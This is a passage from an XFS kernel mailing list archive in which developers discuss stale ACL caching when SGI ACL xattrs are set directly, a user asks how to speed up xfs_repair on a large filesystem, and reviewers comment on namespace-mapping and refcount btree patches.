b=TBxmGUDCUihPdr8US3SrxkdHConXUJO5+27Cak4RDMqNEvHnwpQCk7PC3mxLQ2BGdi wKFQlKGZDi6wbisq/doplG703gKV0Z73siI091FEIYhLSeoUTo+vE/OxKZXTORoMreU+ 1F9Gydygzyr41qXDExaRXQbKIkW/bySY28jkE/bFNWcTP7xzdLySbn4/CI5Sr1cSonT1 udB5BnVrva2DMoGdqeNtCYiwVRZpTE1mMA2XUIRoPBGkAUz41d6hcA7Ocdr9cJit6i9V c2qQcXJr/fuuqsPDrg4xbUCZMeRS11V7Po19xArTW9iifv8Yge4fCpsNxRDdydbikF/L InBw== X-Gm-Message-State: ALoCoQlS6a2HXbKI/CvD0oOzT5hEhPSAdDLCANbZgZNxiDEDf68ZPgmBY/m+RsIkK7kB5d8jqRLX MIME-Version: 1.0 X-Received: by 10.112.64.72 with SMTP id m8mr19027909lbs.41.1445943406805; Tue, 27 Oct 2015 03:56:46 -0700 (PDT) Received: by 10.112.53.42 with HTTP; Tue, 27 Oct 2015 03:56:46 -0700 (PDT) In-Reply-To: <20151027053045.GL8773@dastard> References: <20151024125659.GA8095@bfoster.bfoster> <20151024152254.GA22232@bfoster.bfoster> <20151026213228.GI8773@dastard> <20151027053045.GL8773@dastard> Date: Tue, 27 Oct 2015 11:56:46 +0100 Message-ID: Subject: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} To: Dave Chinner Cc: Brian Foster , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lb0-f175.google.com[209.85.217.175] X-Barracuda-Start-Time: 1445943408 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23855 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Oct 27, 2015 at 6:30 AM, Dave Chinner wrote: > On Tue, Oct 27, 2015 at 12:52:10AM +0100, Andreas Gruenbacher wrote: >> On Mon, Oct 26, 2015 at 10:32 PM, Dave Chinner wrote: >> > Really, I'm struggling to understand what the problem is with XFS >> > doing translation to it's own special xattr names for ACLs >> > underneath the posix layer. >> >> Right now, setting one of the SGI_ACL attributes leads to stale i_acl >> / i_default_acl fields and in the case of SGI_ACL_FILE, possibly to >> outdated permissions in i_mode. You would get different information >> from getfacl than what's stored on disk. > > That's because we're not marking the cached acl as stale when > setting the acl directly... > >> > Yes, there's a caching issue when someone directly manipulates >> > the underlying xattr, >> >> "Directly manipulating" could be doing a setxattr of an attribute that >> was previously retrieved by getxattr, like restoring a backup. > > Sure, that's what xfsdump/restore effectively does. > >> > but you need root to shoot yourself in the foot that way, and that is easily >> > solveable. >> >> What do you mean, it's easily solvable? > > forget_all_cached_acls() Brian has already suggested that in this thread. Still leaves the i_mode permission bits stale and is broken wrt. uid/gid namespaces. Andreas From bfoster@redhat.com Tue Oct 27 06:31:40 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B4D697F37 for ; Tue, 27 Oct 2015 06:31:40 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 78B578F8033 for ; Tue, 27 Oct 2015 04:31:37 -0700 (PDT) X-ASG-Debug-ID: 1445945495-04bdf0330abc200001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id RqJfnG2eVBIDZp2A (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 27 Oct 2015 04:31:36 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id B7FB98E24F; Tue, 27 Oct 2015 11:31:35 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9RBVY5C004303; Tue, 27 Oct 2015 07:31:35 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 2AD1F1201AB; Tue, 27 Oct 2015 07:31:34 -0400 (EDT) Date: Tue, 27 Oct 2015 07:31:34 -0400 From: Brian Foster To: Dave Chinner Cc: Andreas Gruenbacher , xfs@oss.sgi.com Subject: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} Message-ID: <20151027113133.GA26600@bfoster.bfoster> X-ASG-Orig-Subj: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} References: <20151024125659.GA8095@bfoster.bfoster> <20151024152254.GA22232@bfoster.bfoster> <20151026213228.GI8773@dastard> <20151027053045.GL8773@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151027053045.GL8773@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445945496 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Oct 27, 2015 at 04:30:45PM +1100, Dave Chinner wrote: > On Tue, Oct 27, 2015 at 12:52:10AM +0100, Andreas Gruenbacher wrote: > > On Mon, Oct 26, 2015 at 10:32 PM, Dave Chinner wrote: > > > Really, I'm struggling to understand what the problem is with XFS > > > doing translation to it's own special xattr names for ACLs > > > underneath the posix layer. > > > > Right now, setting one of the SGI_ACL attributes leads to stale i_acl > > / i_default_acl fields and in the case of SGI_ACL_FILE, possibly to > > outdated permissions in i_mode. You would get different information > > from getfacl than what's stored on disk. > > That's because we're not marking the cached acl as stale when > setting the acl directly... > > > > Yes, there's a caching issue when someone directly manipulates > > > the underlying xattr, > > > > "Directly manipulating" could be doing a setxattr of an attribute that > > was previously retrieved by getxattr, like restoring a backup. > > Sure, that's what xfsdump/restore effectively does. > > > > but you need root to shoot yourself in the foot that way, and that is easily > > > solveable. > > > > What do you mean, it's easily solvable? > > forget_all_cached_acls() > This is essentially what the test patch I posted up thread does. Andreas points out this is not sufficient because it doesn't update i_mode when it is necessary based on the ACLs. To demonstrate: Set an ACL and observe i_mode: # touch /mnt/file # ls -ali /mnt/file 99 -rw-r--r-- 1 root root 0 Oct 27 06:48 /mnt/file # setfacl -m u:fsgqa:rwx /mnt/file # ls -ali /mnt/file 99 -rw-rwxr--+ 1 root root 0 Oct 27 06:48 /mnt/file Grab the underlying xattr data: # getfattr -m - -d /mnt/file getfattr: Removing leading '/' from absolute path names # file: mnt/file system.posix_acl_access=0sAgAAAAEABgD/////AgAHAOgDAAAEAAQA/////xAABwD/////IAAEAP////8= trusted.SGI_ACL_FILE=0sAAAABQAAAAH/////AAYAAAAAAAIAAAPoAAcAAAAAAAT/////AAQAAAAAABD/////AAcAAAAAACD/////AAQAAA== Remove the ACL, observe i_mode reset: # setfacl -x u:fsgqa /mnt/file # ls -ali /mnt/file 99 -rw-r--r--+ 1 root root 0 Oct 27 06:49 /mnt/file Set the xattr directly to re-add the ACL (we know the change is not going to show up here due to the caching problem): # setfattr -n trusted.SGI_ACL_FILE -v 0sAAAABQAAAAH/////AAYAAAAAAAIAAAPoAAcAAAAAAAT/////AAQAAAAAABD/////AAcAAAAAACD/////AAQAAA== /mnt/file # ls -ali /mnt/file 99 -rw-r--r--+ 1 root root 0 Oct 27 06:49 /mnt/file Remount, observe the ACL is back yet i_mode is still wrong: # umount /mnt ; mount /dev/test/scratch /mnt/ # ls -ali /mnt/file 99 -rw-r--r--+ 1 root root 0 Oct 27 06:49 /mnt/file # getfacl /mnt/file getfacl: Removing leading '/' from absolute path names # file: mnt/file # owner: root # group: root user::rw- user:fsgqa:rwx group::r-- mask::rwx other::r-- So it's permanently inconsistent afaics, at least until somebody uses the proper ACL interface on that file. I'm not familiar enough with how this mechanism works to know what the consequences of the i_mode inconsistency are (e.g., after a remount)... Andreas? Andreas, Dave and I discussed this a bit on IRC yesterday, along with things like the idea of starting to use the system.posix_acl_* names on disk directly, just converting the xattr data, and transitioning the trusted.SGI_ACL_* ACLs to be the virtual ACLs (as posix_acl_* are now). The challenge with this is that we still need to provide backwards compatibility for the SGI_ACL_* xattrs on disk for quite some time, probably need a feature bit for the new xattr name, etc. Dave believes it's not worth doing that to fix this problem. My preference is to fix it however appropriate (with a feature bit, etc.) so we can eventually kill the old mechanism, however long it must stay around. I think we missed the fact that i_mode is not updated as demonstrated above. If the consequences of that are explicit breakage (?), that would make me feel even less bad about just disabling/changing a broken mechanism, but we probably need more information on that. Regardless, I think the lowest common denominator here is just to do what we're doing in this series as is (with suggested code cleanups and whatnot) and fix the SGI_ACL_* handlers to do the right thing, unless Dave chimes in otherwise. Brian > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com From mw@dermichi.com Tue Oct 27 07:10:16 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E94397F37 for ; Tue, 27 Oct 2015 07:10:16 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id DD164304039 for ; Tue, 27 Oct 2015 05:10:13 -0700 (PDT) X-ASG-Debug-ID: 1445947809-04cbb0660daf5d0001-NocioJ Received: from firestarter.dermichi.com (firestarter.dermichi.com [194.177.153.153]) by cuda.sgi.com with ESMTP id UgqJuEw9hBw7GHKI (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 27 Oct 2015 05:10:10 -0700 (PDT) X-Barracuda-Envelope-From: mw@dermichi.com X-Barracuda-Apparent-Source-IP: 194.177.153.153 Received: from noclinksys.net4you.net ([194.177.153.180] helo=[127.0.0.1]) by firestarter.dermichi.com with esmtpsa (TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128) (Exim) (envelope-from ) id 1Zr34q-0005NW-UD for xfs@oss.sgi.com; Tue, 27 Oct 2015 13:10:08 +0100 To: xfs@oss.sgi.com From: Michael Weissenbacher Subject: Speeding up xfs_repair on filesystem with millions of inodes X-Enigmail-Draft-Status: N1010 X-ASG-Orig-Subj: Speeding up xfs_repair on filesystem with millions of inodes Message-ID: <562F699E.2050002@dermichi.com> Date: Tue, 27 Oct 2015 13:10:06 +0100 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: firestarter.dermichi.com[194.177.153.153] X-Barracuda-Start-Time: 1445947810 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23856 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi List! I have an xfs filesystem which probably suffered a corruption due to a bad UPS (even though the RAID controller has a good BBU). At the time the power loss occurred the filesystem was mounted with the "nobarrier" option. We noticed the problem several weeks later, when some rsync-based backup jobs started to hang for days without progress when doing a simple "rm". This was accompanied by some messages in dmesg like this one: Oct 15 21:53:14 mojave kernel: [4976164.170021] INFO: task kswapd0:38 blocked for more than 120 seconds. Oct 15 21:53:14 mojave kernel: [4976164.170100] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Oct 15 21:53:14 mojave kernel: [4976164.170180] kswapd0 D ffffffff8180bea0 0 38 2 0x00000000 Oct 15 21:53:14 mojave kernel: [4976164.170185] ffff880225f73968 0000000000000046 ffff880225c42e20 0000000000013180 Oct 15 21:53:14 mojave kernel: [4976164.170188] ffff880225f73fd8 ffff880225f72010 0000000000013180 0000000000013180 Oct 15 21:53:14 mojave kernel: [4976164.170191] ffff880225f73fd8 0000000000013180 ffff880225c42e20 ffff88022611dc40 Oct 15 21:53:14 mojave kernel: [4976164.170194] Call Trace: Oct 15 21:53:14 mojave kernel: [4976164.170204] [] schedule+0x29/0x70 Oct 15 21:53:14 mojave kernel: [4976164.170207] [] io_schedule+0x8c/0xd0 Oct 15 21:53:14 mojave kernel: [4976164.170211] [] __xfs_iflock+0xdf/0x110 Oct 15 21:53:14 mojave kernel: [4976164.170216] [] ? autoremove_wake_function+0x40/0x40 Oct 15 21:53:14 mojave kernel: [4976164.170219] [] xfs_reclaim_inode+0xc4/0x330 Oct 15 21:53:14 mojave kernel: [4976164.170222] [] xfs_reclaim_inodes_ag+0x1f6/0x330 Oct 15 21:53:14 mojave kernel: [4976164.170225] [] xfs_reclaim_inodes_nr+0x33/0x40 Oct 15 21:53:14 mojave kernel: [4976164.170228] [] xfs_fs_free_cached_objects+0x15/0x20 Oct 15 21:53:14 mojave kernel: [4976164.170233] [] prune_super+0x11e/0x1a0 Oct 15 21:53:14 mojave kernel: [4976164.170237] [] shrink_slab+0x19f/0x2d0 Oct 15 21:53:14 mojave kernel: [4976164.170240] [] kswapd+0x698/0xae0 Oct 15 21:53:14 mojave kernel: [4976164.170243] [] ? wake_up_bit+0x40/0x40 Oct 15 21:53:14 mojave kernel: [4976164.170246] [] ? zone_reclaim+0x410/0x410 Oct 15 21:53:14 mojave kernel: [4976164.170249] [] kthread+0xce/0xe0 Oct 15 21:53:14 mojave kernel: [4976164.170252] [] ? kthread_freezable_should_stop+0x70/0x70 Oct 15 21:53:14 mojave kernel: [4976164.170256] [] ret_from_fork+0x7c/0xb0 Oct 15 21:53:14 mojave kernel: [4976164.170258] [] ? kthread_freezable_should_stop+0x70/0x70 So i decided to unmount the fs and run xfs_repair on it. Unfortunately, after almost a week, this hasn't finished yet. It seems to do so much swapping that it hardly makes any progress. Currently it has been in Phase 6 (traversing filesystem) for several days. I found a thread suggesting to add an ssd as swap drive, which i did yesterday. I also added the "-P" option to xfs_repair since it helped in some cases similar in the past. I am using the latest xfs_repair version 3.2.4, compiled myself. The filesystem is 16TB in size and contains about 150 million inodes. The machine has 8GB of RAM available. The kernel version at the time of the power loss was 3.10.44 and was upgraded to 3.10.90 afterwards. My questions are the following: - Is there anything else i could try to speed up the progress besides beefing up the RAM of the machine? Currently it has 8GB which is not very much for the task i suppose. I read about the "-m" option and about "-o bhash=" but i am unsure if they could help in this case. - Are there any rough guidelines on how much RAM is needed for xfs_repair on a given filesystem? How does it depend on the number of inodes or on the size of the file system? - How long could the quota check on mount take when the repair is finished (the filesystem is mounted with usrquota, grpquota). thanks in advance, Michael From agruenba@redhat.com Tue Oct 27 10:55:26 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 196D67F37 for ; Tue, 27 Oct 2015 10:55:26 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E2588304067 for ; Tue, 27 Oct 2015 08:55:25 -0700 (PDT) X-ASG-Debug-ID: 1445961322-04bdf03309c2e30001-NocioJ Received: from mail-lb0-f182.google.com (mail-lb0-f182.google.com [209.85.217.182]) by cuda.sgi.com with ESMTP id 1jFsVCRsCi7ZJVC5 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 27 Oct 2015 08:55:23 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.217.182 Received: by lbcao8 with SMTP id ao8so66884393lbc.3 for ; Tue, 27 Oct 2015 08:55:22 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat_com.20150623.gappssmtp.com; s=20150623; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=Y43908fZ0oUm6DidONWYSjcP3uzUj6dgCqeJKdN0bGs=; b=SXYFU1p9MFRVMjKb0Ar4wjCHxCcJD+lL6VkpU8iW1F7EoTciy9k+BoyvBtiuQ/3xnO 2+NIyIBQPQquS7wOi0S4VwMbXNPZqAcF1Bc98wXqy0IX2aAQHrYM8/hD5MB4QXH+pCTw Mnv+gkcIBAQyYaYQhaFnoao7H7618UYOJNqI+6e0TJJKzxUPTV0dcdaGDQleOwLWh/yM gOTyORj9mH/tS9tNH8o8h+e5GQJ1lkCLAtnLxqyHZ/sKF7eguiEPIZ2U8wy3XfU6liv4 9L0VyPA4RBaxTBKbmX8PKDsmA+JCsUubBvhaMrr7XezNIRbcQfBDJSuz58kEL5dNA3/h q7CQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=Y43908fZ0oUm6DidONWYSjcP3uzUj6dgCqeJKdN0bGs=; b=THKnHO7rgpnKgsNCEG0TAv0V4hUcyvlkVlx36G6YQA6y55IJigA85kh/+S3TsORM8a gsLYWGFRQIYvCEw+lfKhOBf7gwyBuDkoIYzFhCg/qw2onbD99zaJxW4Lz+w0HSLPLrUe Yj0ixOtKk0II8YcpPNIYyXCPidRNEglmp7D+kuoYMfpBvipyI60LEaCYnpA1o9X9kxIN goA1hrNrUxDjAwyUVSlyxJbJMgJKWM5Tl3KirlbpZMyYvS+APCPF3K+FT/UpNnDckbt1 F1zygb/QqyQtQNpDClXeW/aHPT57qwTAC1xieVuVn5g6oT2pe+5tKoNm+h+7uiDI5/Fc iwaw== X-Gm-Message-State: ALoCoQne8N8ZwmM5Cl8IaDD1UNFh6E5rV3JhGDZzP14CE8sA9BA/Dl5asZvMfkLIXaccGZVfBbDx MIME-Version: 1.0 X-Received: by 10.112.146.2 with SMTP id sy2mr21518641lbb.104.1445961322124; Tue, 27 Oct 2015 08:55:22 -0700 (PDT) Received: by 10.112.53.42 with HTTP; Tue, 27 Oct 2015 08:55:22 -0700 (PDT) In-Reply-To: <20151026214651.GJ8773@dastard> References: <1445721369-25679-1-git-send-email-agruenba@redhat.com> <1445721369-25679-4-git-send-email-agruenba@redhat.com> <20151026214651.GJ8773@dastard> Date: Tue, 27 Oct 2015 16:55:22 +0100 Message-ID: Subject: Re: [PATCH 3/4] xfs: SGI ACLs: Map uid/gid namespaces From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH 3/4] xfs: SGI ACLs: Map uid/gid namespaces To: Dave Chinner Cc: Brian Foster , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lb0-f182.google.com[209.85.217.182] X-Barracuda-Start-Time: 1445961323 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23860 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Oct 26, 2015 at 10:46 PM, Dave Chinner wrote: > On Sat, Oct 24, 2015 at 11:16:08PM +0200, Andreas Gruenbacher wrote: >> @@ -71,10 +72,10 @@ xfs_acl_from_disk( >> >> switch (acl_e->e_tag) { >> case ACL_USER: >> - acl_e->e_uid = xfs_uid_to_kuid(be32_to_cpu(ace->ae_id)); >> + acl_e->e_uid = make_kuid(ns, be32_to_cpu(ace->ae_id)); > > Please don't replace the xfs wrappers with the horribly named > generic functions. Pass the namespace to xfs_uid_to_kuid(), and > modify them, please. That way people who don't deal with namespaces > every day can tell exactly what format conversion is taking place > just by reading the code... We would effectively end up with: #define xfs_kuid_to_uid from_kuid #define xfs_kgid_to_gid from_kgid #define xfs_uid_to_kuid make_kuid #define xfs_gid_to_kgid make_kgid Are you sure you really want that? > This namespace stuff is awful twisty. The posix layer does a user-ns > to init-ns conversion and here we do a no-op init-ns to init-ns > conversion. That needs comments in the code to explain exactly why > one path needs user-ns conversion and the other doesn't, because I'm > sure as hell not going to remember why these code paths are > different in 6 months time. Okay. Thanks, Andreas From darrick.wong@oracle.com Tue Oct 27 14:05:45 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4BB4F7F37 for ; Tue, 27 Oct 2015 14:05:45 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 17C258F8040 for ; Tue, 27 Oct 2015 12:05:41 -0700 (PDT) X-ASG-Debug-ID: 1445972737-04cb6c7b86b8250001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id Aw6D9FaNDHAFubdQ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 27 Oct 2015 12:05:37 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9RJ5Zpp021281 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 27 Oct 2015 19:05:35 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9RJ5Y5w000523 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Tue, 27 Oct 2015 19:05:35 GMT Received: from abhmp0011.oracle.com (abhmp0011.oracle.com [141.146.116.17]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9RJ5YEN008571; Tue, 27 Oct 2015 19:05:34 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 27 Oct 2015 12:05:34 -0700 Date: Tue, 27 Oct 2015 12:05:33 -0700 From: "Darrick J. Wong" To: david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 40/58] libxfs: adjust refcount of an extent of blocks in refcount btree Message-ID: <20151027190533.GO10397@birch.djwong.org> X-ASG-Orig-Subj: Re: [PATCH 40/58] libxfs: adjust refcount of an extent of blocks in refcount btree References: <20151007045443.30457.47038.stgit@birch.djwong.org> <20151007045933.30457.81045.stgit@birch.djwong.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151007045933.30457.81045.stgit@birch.djwong.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1445972737 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23865 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Tue, Oct 06, 2015 at 09:59:33PM -0700, Darrick J. Wong wrote: > Provide functions to adjust the reference counts for an extent of > physical blocks stored in the refcount btree. > > Signed-off-by: Darrick J. Wong > --- > fs/xfs/libxfs/xfs_refcount.c | 771 ++++++++++++++++++++++++++++++++++++++++++ > fs/xfs/libxfs/xfs_refcount.h | 8 > 2 files changed, 779 insertions(+) > > > diff --git a/fs/xfs/libxfs/xfs_refcount.c b/fs/xfs/libxfs/xfs_refcount.c > index b3f2c25..02892bc 100644 > --- a/fs/xfs/libxfs/xfs_refcount.c > +++ b/fs/xfs/libxfs/xfs_refcount.c > @@ -167,3 +167,774 @@ xfs_refcountbt_delete( > out_error: > return error; > } > + > +/* > + * Adjusting the Reference Count > + * > + * As stated elsewhere, the reference count btree (refcbt) stores > + * >1 reference counts for extents of physical blocks. In this > + * operation, we're either raising or lowering the reference count of > + * some subrange stored in the tree: > + * > + * <------ adjustment range ------> > + * ----+ +---+-----+ +--+--------+--------- > + * 2 | | 3 | 4 | |17| 55 | 10 > + * ----+ +---+-----+ +--+--------+--------- > + * X axis is physical blocks number; > + * reference counts are the numbers inside the rectangles > + * > + * The first thing we need to do is to ensure that there are no > + * refcount extents crossing either boundary of the range to be > + * adjusted. For any extent that does cross a boundary, split it into > + * two extents so that we can increment the refcount of one of the > + * pieces later: > + * > + * <------ adjustment range ------> > + * ----+ +---+-----+ +--+--------+----+---- > + * 2 | | 3 | 2 | |17| 55 | 10 | 10 > + * ----+ +---+-----+ +--+--------+----+---- > + * > + * For this next step, let's assume that all the physical blocks in > + * the adjustment range are mapped to a file and are therefore in use > + * at least once. Therefore, we can infer that any gap in the > + * refcount tree within the adjustment range represents a physical > + * extent with refcount == 1: > + * > + * <------ adjustment range ------> > + * ----+---+---+-----+-+--+--------+----+---- > + * 2 |"1"| 3 | 2 |1|17| 55 | 10 | 10 > + * ----+---+---+-----+-+--+--------+----+---- > + * ^ > + * > + * For each extent that falls within the interval range, figure out > + * which extent is to the left or the right of that extent. Now we > + * have a left, current, and right extent. If the new reference count > + * of the center extent enables us to merge left, center, and right > + * into one record covering all three, do so. If the center extent is > + * at the left end of the range, abuts the left extent, and its new > + * reference count matches the left extent's record, then merge them. > + * If the center extent is at the right end of the range, abuts the > + * right extent, and the reference counts match, merge those. In the > + * example, we can left merge (assuming an increment operation): > + * > + * <------ adjustment range ------> > + * --------+---+-----+-+--+--------+----+---- > + * 2 | 3 | 2 |1|17| 55 | 10 | 10 > + * --------+---+-----+-+--+--------+----+---- > + * ^ > + * > + * For all other extents within the range, adjust the reference count > + * or delete it if the refcount falls below 2. If we were > + * incrementing, the end result looks like this: > + * > + * <------ adjustment range ------> > + * --------+---+-----+-+--+--------+----+---- > + * 2 | 4 | 3 |2|18| 56 | 11 | 10 > + * --------+---+-----+-+--+--------+----+---- > + * > + * The result of a decrement operation looks as such: > + * > + * <------ adjustment range ------> > + * ----+ +---+ +--+--------+----+---- > + * 2 | | 2 | |16| 54 | 9 | 10 > + * ----+ +---+ +--+--------+----+---- > + * DDDD 111111DD > + * > + * The blocks marked "D" are freed; the blocks marked "1" are only > + * referenced once and therefore the record is removed from the > + * refcount btree. > + */ > + > +#define RLNEXT(rl) ((rl).rc_startblock 